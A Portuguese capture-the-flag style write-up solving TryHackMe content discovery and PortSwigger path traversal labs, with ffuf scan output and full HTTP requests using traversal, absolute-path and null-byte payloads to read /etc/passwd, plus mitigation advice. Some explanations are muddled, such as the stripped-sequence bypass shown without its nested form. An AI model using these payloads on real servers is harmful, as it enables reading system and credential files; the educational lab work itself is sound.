

Path & File Enumeration / Directory Traversal | Sonael de A. Angelos Neto

• Introdução a vulnerabilidade Path & File Enumeration / Directory Traversal

◦ O que é?

Path & File Enumeration / Directory Traversal permite ao atacante obter informações sobre o sistema de arquivos do servidor, como diretórios e arquivos, além de permitir que o atacante obtenha acesso a arquivos que não deveriam ser acessíveis.

◦ Como funciona?

A vulnerabilidade **Path & File Enumeration / Directory Traversal** ocorre quando o desenvolvedor não valida corretamente os dados de entrada do usuário, permitindo que o atacante envie uma requisição com um caminho de arquivo ou diretório que não deveria ser acessível.

Nesse documento, iremos explorar a vulnerabilidade "**Path & File Enumeration / Directory Traversal**", utilizando **6** laboratórios diferentes do [TryHackMe](#) em conjunto com a [Portswigger Academy](#), sendo eles:

- **Content Discovery (THM).**
- **File path traversal, simple case (portswigger).**
- **File path traversal, traversal sequences blocked with absolute path bypass (portswigger).**
- **File path traversal, traversal sequences stripped non-recursively (portswigger).**
- **File path traversal, validation of start of path (portswigger).**
- **File path traversal, validation of file extension with null byte bypass (portswigger).**

Ferramentas utilizadas:

- **ffuf :**
 - Utilizaremos o **ffuf** para realizar o brute force de diretórios e arquivos.
- **Burp Suite :**
 - Utilizaremos o **Burp Suite** para interceptar as requisições e analisar o que está sendo enviado para o back-end.

• Content Discovery.

1. Manual Discovery - Robots.txt.

Nessa task do laboratório, o objetivo é encontrar o arquivo `robots.txt` e analisar o que está escrito nele.

- O que é o arquivo `robots.txt`?

O arquivo `robots.txt` é um arquivo de texto que contém instruções para os robôs de busca, como o Googlebot, Bingbot, YandexBot, etc. O arquivo `robots.txt` é colocado na raiz do site, ou seja, na pasta `/` do site.

- O que está escrito no arquivo `robots.txt`?

No arquivo `robots.txt` está escrito o seguinte:

```
User-agent: *  
Allow: /  
Disallow: /staff-portal
```

Apos isso, vemos que a resposta para a task é `staff-portal`.

Task 2 Manual Discovery - Robots.txt

There are multiple places we can manually check on a website to start discovering more content.

Robots.txt

The robots.txt file is a document that tells search engines which pages they are and aren't allowed to show on their search engine results or ban specific search engines from crawling the website altogether. It can be common practice to restrict certain website areas so they aren't displayed in search engine results. These pages may be areas such as administration portals or files meant for the website's customers. This file gives us a great list of locations on the website that the owners don't want us to discover as penetration testers.

Take a look at the robots.txt file on the Acme IT Support website to see if they have anything they don't want to list - To do this open Firefox on the AttackBox, and enter the url: <http://10.10.43.64/robots.txt> (this URL will update 2 minutes from when you start the machine in task 1)

Answer the questions below

What is the directory in the robots.txt that isn't allowed to be viewed by web crawlers?

Correct Answer

2. Manual Discovery - Sitemap.xml.

Nessa task do laboratório, o objetivo é encontrar o arquivo `sitemap.xml` e analisar o que está escrito nele.

- O que é o arquivo `sitemap.xml`?

O arquivo `sitemap.xml` é um arquivo de texto que contém informações sobre os arquivos e páginas do site, como a data de modificação, a frequência de modificação, a prioridade, etc.

- O que está escrito no arquivo `sitemap.xml`?

No arquivo `sitemap.xml` está escrito o seguinte:

```
<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <url>
    <loc>http://10.10.43.64/</loc>
    <lastmod>2021-07-19T13:07:32+00:00</lastmod>
    <priority>1.00</priority>
  </url>
  <url>
    <loc>http://10.10.43.64/news</loc>
    <lastmod>2021-07-19T13:07:32+00:00</lastmod>
    <priority>0.80</priority>
  </url>
  <url>
    <loc>http://10.10.43.64/news/article?id=1</loc>
    <lastmod>2021-07-19T13:07:32+00:00</lastmod>
    <priority>0.80</priority>
  </url>
  <url>
    <loc>http://10.10.43.64/news/article?id=2</loc>
    <lastmod>2021-07-19T13:07:32+00:00</lastmod>
    <priority>0.80</priority>
  </url>
  <url>
    <loc>http://10.10.43.64/news/article?id=3</loc>
    <lastmod>2021-07-19T13:07:32+00:00</lastmod>
    <priority>0.80</priority>
  </url>
  <url>
    <loc>http://10.10.43.64/contact</loc>
    <lastmod>2021-07-19T13:07:32+00:00</lastmod>
    <priority>0.80</priority>
  </url>
  <url>
    <loc>http://10.10.43.64/customers/login</loc>
    <lastmod>2021-07-19T13:07:32+00:00</lastmod>
    <priority>0.80</priority>
  </url>
  <url>
    <loc>http://10.10.43.64/s3cr3t-area</loc>
    <lastmod>2021-07-19T13:07:32+00:00</lastmod>
    <priority>0.80</priority>
  </url>
</urlset>
```

A task pede qual o diretório para a área secreta, então a resposta é `/s3cr3t-area`.


```
220ms]
development.log      [Status: 200, Size: 27, Words: 5, Lines: 1, Duration:
217ms]
monthly              [Status: 200, Size: 28, Words: 4, Lines: 1, Duration:
238ms]
news                 [Status: 200, Size: 2538, Words: 518, Lines: 51, Duration:
224ms]
private              [Status: 301, Size: 178, Words: 6, Lines: 8, Duration:
221ms]
robots.txt           [Status: 200, Size: 46, Words: 4, Lines: 3, Duration:
220ms]
sitemap.xml          [Status: 200, Size: 1391, Words: 260, Lines: 43, Duration:
234ms]
:: Progress: [4713/4713] :: Job [1/1] :: 176 req/sec :: Duration: [0:00:27] ::
Errors: 0 ::
```

A task pede qual o nome do diretório que começa com **"/mo...."** então a resposta é **/monthly**.

Também pede qual o nome do arquivo de log que foi achado durante a varredura, então a resposta é **/development.log**.

Answer the questions below

What is the name of the directory beginning **"/mo...."** that was discovered?

[Correct Answer](#)[Hint](#)

What is the name of the log file that was discovered?

[Correct Answer](#)

TryHackMe Dashboard: Content Discovery

Active Machine Information

Title	IP Address	Expires	?	Add 1 hour	Terminate
acmetlsupportv10	10.10.105.119	52m 41s			

100%

- Task 1: What Is Content Discovery?
- Task 2: Manual Discovery - Robots.txt
- Task 3: Manual Discovery - Favicon
- Task 4: Manual Discovery - Sitemap.xml
- Task 5: Manual Discovery - HTTP Headers
- Task 6: Manual Discovery - Framework Stack
- Task 7: OSINT - Google Hacking / Dorking

• File path traversal, simple case.

Nesse laboratório, o objetivo é acessar o arquivo `"/etc/passwd"` através de um `file path traversal`.

Utilizando o burp suite, é possível ver que as requisições das imagens do site são feitas através de um parâmetro chamado `filename` que recebe o nome da imagem.

```
https://0a9800280489b797c29a6c9400d900dc.web-security-academy.net/image?filename=15.jpg
```

Sabendo disso é possível fazer um `file path traversal` alterando o parâmetro `filename` com o seguinte valor:

```
https://0a9800280489b797c29a6c9400d900dc.web-security-academy.net/image?
filename=../../../../etc/passwd
```

e fazer com que o burp a envie para o servidor.

Request	Response
<pre>1 GET /image?filename=../../../../etc/passwd HTTP/1.1 2 Host: 0a0a003404c279c8c07e45410056009b.web-security-academy.net 3 Cookie: session=i3xH8ccAcuXR4a0mqaoRuooFWCPlz0aL 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 5 Accept: image/avif,image/webp,*/* 6 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 7 Accept-Encoding: gzip, deflate 8 Referer: https://0a0a003404c279c8c07e45410056009b.web-security-academy.net/product? productId=1 9 Sec-Fetch-Dest: image 10 Sec-Fetch-Mode: no-cors 11 Sec-Fetch-Site: same-origin 12 Te: trailers 13 Connection: close 14 15</pre>	<pre>1 HTTP/1.1 200 OK 2 Content-Type: image/jpeg 3 Connection: close 4 Content-Length: 2262 5 6 root:x:0:0:root:/root:/bin/bash 7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x:2:2:bin:/bin:/usr/sbin/nologin 9 sys:x:3:3:sys:/dev:/usr/sbin/nologin 10 sync:x:4:65534:sync:/bin:/bin/sync 11 games:x:5:60:games:/usr/games:/usr/sbin/nologin 12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin 25 peter:x:12001:12001:/home/peter:/bin/bash 26 carlos:x:12002:12002:/home/carlos:/bin/bash 27 user:x:12000:12000:/home/user:/bin/bash 28 elmer:x:12099:12099:/home/elmer:/bin/bash 29 academy:x:10000:10000:/academy:/bin/bash 30 messagebus:x:101:101:/nonexistent:/usr/sbin/nologin 31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin 32 systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin</pre>

Dessa forma o laboratório é concluído.



• File path traversal, traversal sequences blocked with absolute path bypass.

Nesse laboratório, o objetivo também é acessar o arquivo `"/etc/passwd"` através de um `file path traversal`.

Porém ao tentarmos usar o mesmo método do laboratório anterior, o servidor retorna um erro.

Request	Response
<div><div><div>PrettyRawHex</div><div><div>1 GET /image?filename=../../../../etc/passwd HTTP/1.1</div><div>2 Host: 0aae008904048823c000aebc004c0064.web-security-academy.net</div><div>3 Cookie: session=af92ffeTpc5r2KeALitjvWSotcwcTTAp</div><div>4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0</div><div>5 Accept: image/avif,image/webp,*/*</div><div>6 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3</div><div>7 Accept-Encoding: gzip, deflate</div><div>8 Referer: https://0aae008904048823c000aebc004c0064.web-security-academy.net/product?productId=3</div><div>9 Sec-Fetch-Dest: image</div><div>10 Sec-Fetch-Mode: no-cors</div><div>11 Sec-Fetch-Site: same-origin</div><div>12 Te: trailers</div><div>13 Connection: close</div><div>14</div><div>15</div></div></div><div><div>0 matches</div><div>Done</div></div></div>	<div><div><div>PrettyRawHexRender</div><div><div>1 HTTP/1.1 400 Bad Request</div><div>2 Content-Type: application/json; charset=utf-8</div><div>3 Connection: close</div><div>4 Content-Length: 14</div><div>5</div><div>6 "No such file"</div></div></div><div><div>0 matches</div></div></div>

Isso acontece porque o servidor não aceita caminhos absolutos, então para contornar isso, é necessário usar um caminho relativo.

Usando apenas `"/etc/passwd"` podemos dar um bypass no servidor.

Request	Response
<div><div><div>PrettyRawHex</div><div><div>1 GET /image?filename=/etc/passwd HTTP/1.1</div><div>2 Host: 0aae008904048823c000aebc004c0064.web-security-academy.net</div><div>3 Cookie: session=af92ffeTpc5r2KeALitjvWSotcwcTTAp</div><div>4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0</div><div>5 Accept: image/avif,image/webp,*/*</div><div>6 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3</div><div>7 Accept-Encoding: gzip, deflate</div><div>8 Referer: https://0aae008904048823c000aebc004c0064.web-security-academy.net/product?productId=3</div><div>9 Sec-Fetch-Dest: image</div><div>10 Sec-Fetch-Mode: no-cors</div><div>11 Sec-Fetch-Site: same-origin</div><div>12 Te: trailers</div><div>13 Connection: close</div><div>14</div><div>15</div></div></div><div><div>0 matches</div><div>Done</div></div></div>	<div><div><div>PrettyRawHexRender</div><div><div>1 HTTP/1.1 200 OK</div><div>2 Content-Type: image/jpeg</div><div>3 Connection: close</div><div>4 Content-Length: 2262</div><div>5</div><div>6 root:x:0:0:root:/root:/bin/bash</div><div>7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</div><div>8 bin:x:2:2:bin:/bin:/usr/sbin/nologin</div><div>9 sys:x:3:3:sys:/dev:/usr/sbin/nologin</div><div>10 sync:x:4:65534:sync:/bin:/bin/sync</div><div>11 games:x:5:60:games:/usr/games:/usr/sbin/nologin</div><div>12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin</div><div>13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin</div><div>14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin</div><div>15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin</div><div>16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin</div><div>17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin</div><div>18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin</div><div>19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin</div><div>20 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin</div><div>21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin</div><div>22 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin</div><div>23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin</div><div>24 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin</div><div>25 peter:x:12001:12001::/home/peter:/bin/bash</div><div>26 carlos:x:12002:12002::/home/carlos:/bin/bash</div><div>27 user:x:12000:12000::/home/user:/bin/bash</div><div>28 elmer:x:12099:12099::/home/elmer:/bin/bash</div><div>29 academy:x:10000:10000::/academy:/bin/bash</div><div>30 messagebus:x:101:101::/nonexistent:/usr/sbin/nologin</div><div>31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin</div><div>32 systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin</div></div></div><div><div>0 matches</div></div></div>

Dessa forma o laboratório é concluído.

The screenshot shows the Web Security Academy interface. At the top, there's a navigation bar with the academy logo and a title 'File path traversal, traversal sequences blocked with absolute path bypass'. Below the title, it says 'LAB Solved'. A large orange banner at the bottom says 'Congratulations, you solved the lab!' with a 'Share your skills!' button and a 'Continue learning >>' link.

• File path traversal, traversal sequences stripped non-recursively

Nesse laboratório, o objetivo é acessar o arquivo `"/etc/passwd"` através de um `file path traversal`.

porém a aplicação está removendo as sequências de path traversal do nome de arquivo fornecido pelo usuário antes de usá-lo.

Para contornar isso, é necessário usar uma sequência de path traversal que não seja removida, Então enviaremos a seguinte requisição:

The screenshot shows a network traffic analysis tool with two panels: 'Request' and 'Response'. The 'Request' panel shows an HTTP GET request to `/image?filename=../../../../etc/passwd` with various headers including 'Host', 'Cookie', 'User-Agent', 'Accept', 'Accept-Language', 'Accept-Encoding', 'Referer', 'Sec-Fetch-Dest', 'Sec-Fetch-Mode', 'Sec-Fetch-Site', 'Te', and 'Connection'. The 'Response' panel shows an HTTP 200 OK response with headers 'Content-Type: image/jpeg', 'Connection: close', and 'Content-Length: 2262'. The response body lists system users and their home directories, including root, daemon, bin, sys, sync, games, man, lp, mail, news, uucp, proxy, www-data, backup, list, irc, gnats, nobody, apt, peter, carlos, user, elmer, academy, messagebus, dnsmasq, and systemd.

Note que na requisição acima estamos usando `../../../../etc/passwd`, dessa forma o servidor não remove a sequência de path traversal e conseguimos acessar o arquivo `"/etc/passwd"`.

E assim o laboratório é concluído.

The screenshot shows the Web Security Academy interface. At the top, there's a navigation bar with the academy logo and a title 'File path traversal, traversal sequences stripped non-recursively'. Below the title, it says 'LAB Solved'. A large orange banner at the bottom says 'Congratulations, you solved the lab!' with a 'Share your skills!' button and a 'Continue learning >>' link.

• File path traversal, validation of start of path.

Nesse laboratório, ao interceptar a requisição da imagem vemos que o servidor está buscando o arquivo na pasta `"/var/www/images/"`.

```
GET /image?filename=/var/www/images/50.jpg HTTP/1.1
Host: 0abe00870435076ac25d987f00690021.web-security-academy.net
Cookie: session=XNgEjr00tg7GVQxxc2b7RxxH0F1HCrvq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: image/avif,image/webp,*/*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://0abe00870435076ac25d987f00690021.web-security-academy.net/product?productId=3
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
```

Então precisamos voltar as pastas até chegar na raiz para poder acessar o arquivo `"/etc/passwd"`.

Para isso, usaremos a seguinte requisição:

Request	Response
<pre>1 GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/1.1 2 Host: 0abe00870435076ac25d987f00690021.web-security-academy.net 3 Cookie: session=XNgEjr00tg7GVQxxc2b7RxxH0F1HCrvq 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 5 Accept: image/avif,image/webp,*/* 6 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 7 Accept-Encoding: gzip, deflate 8 Referer: https://0abe00870435076ac25d987f00690021.web-security-academy.net/product?productId=3 9 Sec-Fetch-Dest: image 10 Sec-Fetch-Mode: no-cors 11 Sec-Fetch-Site: same-origin 12 Te: trailers 13 Connection: close 14 15</pre>	<pre>1 HTTP/1.1 200 OK 2 Content-Type: image/jpeg 3 Connection: close 4 Content-Length: 2262 5 6 root:x:0:0:root:/root:/bin/bash 7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x:2:2:bin:/bin:/usr/sbin/nologin 9 sys:x:3:3:sys:/dev:/usr/sbin/nologin 10 sync:x:4:65534:sync:/bin:/bin/sync 11 games:x:5:60:games:/usr/games:/usr/sbin/nologin 12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin 25 peter:x:12001:12001:/home/peter:/bin/bash 26 carlos:x:12002:12002:/home/carlos:/bin/bash 27 user:x:12000:12000:/home/user:/bin/bash 28 elmer:x:12099:12099:/home/elmer:/bin/bash 29 academy:x:10000:10000:/academy:/bin/bash 30 messagebus:x:101:101:/nonexistent:/usr/sbin/nologin 31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin 32 systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin</pre>

Concluindo assim o laboratório.

 File path traversal, validation of start of path
[Back to lab description >>](#)

LAB Solved

Congratulations, you solved the lab!

Share your skills! Continue learning >>

• File path traversal, validation of file extension with null byte bypass.

Nesse laboratório, o objetivo é acessar o arquivo `"/etc/passwd"` através de um `file path traversal`.


Porém a aplicação valida se o nome de arquivo fornecido termina com a extensão de arquivo esperada. Para contornar isso, é possível usar um `null byte` para que o servidor não valide a extensão do arquivo.

Para isso, usaremos a seguinte requisição:

Request	Response
<pre>1 GET /image?filename=../../../../etc/passwd%00.png HTTP/1.1 2 Host: 0ac0087030834e7c08d86b500b5004f.web-security-academy.net 3 Cookie: session=mb4sIhzFNJHEDnrg13iWdKjmy3G2hs 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) 5 Gecko/20100101 Firefox/107.0 6 Accept: image/avif,image/webp,*/* 7 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 8 Accept-Encoding: gzip, deflate 9 Referer: https://0ac0087030834e7c08d86b500b5004f.web-security-academy.net/product?productId=3 10 Sec-Fetch-Dest: image 11 Sec-Fetch-Mode: no-cors 12 Sec-Fetch-Site: same-origin 13 Te: trailers 14 Connection: close 15</pre>	<pre>1 HTTP/1.1 200 OK 2 Content-Type: image/png 3 Connection: close 4 Content-Length: 2262 5 6 root:x:0:0:root:/root:/bin/bash 7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x:2:2:bin:/bin:/usr/sbin/nologin 9 sys:x:3:3:sys:/dev:/usr/sbin/nologin 10 sync:x:4:65534:sync:/bin:/bin/sync 11 games:x:5:60:games:/usr/games:/usr/sbin/nologin 12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20 list:x:39:39:Mail List Manager:/var/list:/usr/sbin/nologin 21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24 _apt:x:100:65534:/nonexistent:/usr/sbin/nologin 25 peter:x:12001:12001:/home/peter:/bin/bash 26 carlos:x:12002:12002:/home/carlos:/bin/bash 27 user:x:12000:12000:/home/user:/bin/bash 28 elmer:x:12099:12099:/home/elmer:/bin/bash 29 academy:x:10000:10000:/academy:/bin/bash 30 messagebus:x:101:101:/nonexistent:/usr/sbin/nologin 31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin 32 systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin</pre>

Note que na requisição acima estamos usando `"../../../../etc/passwd%00.png"`, dessa forma o servidor não valida a extensão do arquivo e conseguimos acessar o arquivo `"/etc/passwd"`.

E assim o laboratório é concluído.

 File path traversal, validation of file extension with null byte bypass
[Back to lab description >>](#)

LAB Solved

Congratulations, you solved the lab!

Share your skills! Continue learning >>

• O que é um WAF (web application firewall)?

Um **Web Application Firewall** (WAF, ou firewall de aplicativo web) é um tipo de software ou hardware projetado para proteger aplicativos web de ataques de segurança. Ele funciona monitorando e filtrando o tráfego da web em tempo real, bloqueando qualquer ação suspeita ou maliciosa antes que ela chegue ao aplicativo web.

O WAF pode ser configurado para detectar e bloquear uma ampla variedade de ataques, como **SQL injection**, **cross-site scripting (XSS)**, ataques de **diretório traversal** e outros. Ele também pode ser configurado para fornecer proteção contra ataques de **negação de serviço distribuída (DDoS)** e outros tipos de tráfego indesejado ou malicioso.

Em resumo, o **WAF** é uma camada adicional de segurança para aplicativos web, que ajuda a proteger os dados e as informações sensíveis de sua empresa de ataques cibernéticos.

• Mitigação.

Directory traversal, também conhecido como Path Traversal, é uma vulnerabilidade de segurança que permite a um atacante acessar arquivos e pastas fora do diretório autorizado em um sistema de arquivos. Algumas dicas para mitigar essa vulnerabilidade incluem:

- Validar e sanitizar todas as entradas de usuário: As entradas de usuário devem ser validadas e sanitizadas para garantir que não contenham caracteres de barra invertida ou barra normal ("/", "\"), que são comumente usados em ataques de diretório traversal.
 - Restringir o acesso a diretórios: Restrinja o acesso a diretórios sensíveis para apenas usuários autorizados. Isso pode ser feito através de permissões de arquivo e diretório ou de configurações de servidor web.
 - Usar funções de resolução de caminho: Em vez de permitir que os usuários forneçam caminhos absolutos, use funções de resolução de caminho para garantir que os usuários acessem apenas arquivos e diretórios autorizados.
 - Implementar autenticação e autorização fortes: A autenticação e autorização fortes são fundamentais para proteger contra ataques de diretório traversal. Isso inclui a utilização de senhas fortes, autenticação de dois fatores e autorização de acesso baseada em papéis.
 - Manter os sistemas atualizados: Mantenha os sistemas e aplicativos atualizados com as últimas correções de segurança para garantir que eles estejam protegidos contra novas vulnerabilidades conhecidas.
-

• Dificuldades.

Nenhuma dificuldade relevante =)

• Referências.

- [Directory traversal](#)

- [Directory traversal](#)
 - [Directory traversal](#)
 - [ChatGPT](#)
-

• **Laboratórios.**

- [Content Discovery \(THM\).](#)
- [File path traversal, simple case \(portswigger\).](#)
- [File path traversal, traversal sequences blocked with absolute path bypass \(portswigger\).](#)
- [File path traversal, traversal sequences stripped non-recursively \(portswigger\).](#)
- [File path traversal, validation of start of path \(portswigger\).](#)
- [File path traversal, validation of file extension with null byte bypass \(portswigger\).](#)